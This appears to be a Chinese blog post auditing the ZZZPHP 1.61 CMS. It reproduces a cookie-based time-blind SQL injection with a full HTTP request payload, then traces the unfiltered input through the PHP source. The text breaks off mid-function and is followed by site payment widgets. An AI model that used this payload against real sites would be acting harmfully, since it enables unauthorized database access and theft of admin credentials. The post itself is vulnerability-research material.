网络安全-实战篇 ZZZPHP1.61 代码审计-从SQL注入到Getshell

本文详细介绍了ZZZPHP1.61中的多个安全漏洞,包括SQL注入、任意文件读取、任意文件删除及代码执行。通过复现漏洞并分析代码,展示了如何利用漏扫工具提高审计效率,以及如何利用这些漏洞进行攻击。文章适合对代码审计和网络安全感兴趣的读者。
摘要由CSDN通过智能技术生成

近期有很多小伙伴在后台留言想看关于代码审计的文章,其实有关审计的文章网上资源是比较多的,但是从代码审计开始到结束的这类文章却少之甚少。

今天要讲解的ZZZPHP1.61这套审计漏洞比较多,SQL注入漏洞、任意文件删除漏洞、任意文件读取漏洞、远程执行漏洞,当中也借助了漏扫工具,内容涵盖全面,分析透彻,学完定会受益匪浅!

注:文章还是原来的方式,先复现后分析,阅读用时约7分钟。
SQL注入漏洞(获取管理员密码)

漏洞复现

payload:

GET /search/ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=58ebb86ae371bd1f65466b1b94f7a5f7; zzz_adminpass=1;zzz_keys=0'XOR(if(now()=sysdate(),sleep(10),0))XOR'Z
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

对比两次的时间就晓得我们的语句执行成功了,表示存在SQL注入漏洞。
在这里插入图片描述
漏洞分析

这个洞是先用AWVS工具扫了一遍出来的,我们审计一套代码的时候可以先试试这些漏扫工具,提高一下效率。虽然有误报但是收集到的信息比手工去检测的效率高。

大家测试的时候可以用PHPstorm或者vscode这些工具去调试,走一遍整个过程,这样会对程序有所了解。

再发一次包到search页面会停留到search/index.php文件,这个文件比较简单,包含了一个zzz_client.php的文件。

<?php
define('LOCATION', 'search');
require dirname(dirname(__FILE__)). '/inc/zzz_client.php';

进到inc/zzz_client.php文件有一些包含的进来的文件类似模板的文件等,这里通过上面的LOCATION找到$tplfile= TPL_DIR . ‘search.html’;

switch ($location) {
case 'about':
 $tplfile= TPL_DIR . G('stpl');
 break;
case 'brand': 
 $stpl=splits(db_select('brand','b_template',"bid=".G('bid') or "b_name='".G('bname')."'"),',');
 if (defined('ISWAP')){
 $tplfile=isset($stpl[1]) ? $stpl[1] : $stpl[0];
 }else{
 $tplfile=$stpl[0]; 
 }
 $tplfile=empty($tplfile) ? TPL_DIR .'brand.html' : TPL_DIR . $tplfile ;
 break;
case 'brandlist':
 $tplfile=isset($stpl) ? TPL_DIR . $stpl: TPL_DIR . 'brandlist.html';
 $GLOBALS['tid']='-1';
 break;
case 'content': 
 $tplfile= TPL_DIR . G('ctpl');
 break;
case 'list':
 $tplfile= TPL_DIR . G('stpl');
 break;
case 'taglist':
 $tplfile=TPL_DIR . 'taglist.html';
 $GLOBALS['tid']='-1';
 break;
case 'user':
 $tplfile= TPL_DIR . 'user.html';
 break;
case 'search':
 $tplfile= TPL_DIR . 'search.html';
 break;

到下面就实例化,解析模板。

}elseif($conf['runmode']==0|| $conf['runmode']==2 || $location=='search' ||$location=='form' ||$location=='screen' || $location=='app'){
$zcontent = load_file($tplfile,$location);
$parser = new ParserTemplate();
$zcontent = $parser->parserCommom($zcontent); // 解析模板
echo $zcontent; 

往下走进到inc/zzz_template.php文件,注入的主要是$zcontent =

$this->parserlocation( $zcontent ); // 站点标签这一句,继续parserSearch函数跟下去。

case 'search':
 $zcontent = $this->parserSearch( $zcontent );

走到inc/zzz_template.php的1561行,如果经过getform函数的话会被txt_html过滤掉,但是我们用的cookie,所以这里直接获取没有过滤。

$keys = safe_key(getform( 'keys', 'post' ),60);
if ( $keys ) {
 set_cookie( 'keys', $keys );
} else {
 $keys = get_cookie( 'keys' );
}

我们可以进get_cookie函数看下,prefix前缀是zzz_所以我们的参数为zzz_keys,这里获取到了数据但也没有过滤直接就返回了。

function get_cookie( $name ) {
 if ( is_null( $name ) ) return '';
 $data = isset( $_COOKIE[ $_SERVER[ 'prefix
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值